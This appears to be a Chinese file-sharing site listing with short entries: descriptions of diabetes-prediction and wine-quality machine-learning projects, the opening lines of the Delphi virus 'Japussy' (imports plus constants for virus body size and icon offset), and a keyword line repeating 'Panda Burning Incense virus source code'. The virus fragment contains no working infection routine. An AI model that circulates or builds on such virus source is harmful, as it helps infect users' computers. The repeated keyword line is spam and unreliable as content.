糖尿病预测：使用Cima决策树算法和K-最近模型，根据患者的实验室测试结果变量（例如葡萄糖，血压等），使用Pima Indians糖尿病数据集来预测患者是否患有糖尿病。 Python-Scikit学习，SciPy，熊猫，MatPlotLib
2021-12-16 17:10:02
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/ *日期：2018年5月7日作者：Raj Mehrotra * /
来自kaggle的“红酒质量”数据集。
数据集包含有关葡萄酒样品的详细信息，以及说明葡萄酒中不同化学物质浓度的不同特征。 目标变量是0-10的葡萄酒质量。
我首先探索并分析了数据，并使用了熊猫，matplotlib，seaborn库进行了可视化，并研究了不同类别和数字特征的分布。 然后，我清理了数据并准备好进行建模。然后，我还使用sklearn提供的StandardScaler缩放了所有数字功能以实现更好的性能。
最后，我从scikit学习中使用了不同的ML算法，包括SVM，RandomForest等。 我还使用GridSearchCV函数调整了所有算法的参数。
最后，通过使用带有“ rbf”内核和参数“ C”和“ gamma”的调整值的支持向量机，我在数据集上的精度为0.9175。
2021-11-25 08:01:14
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program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
2021-11-18 09:00:56
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熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码熊猫烧香源代码
2021-11-13 20:36:41
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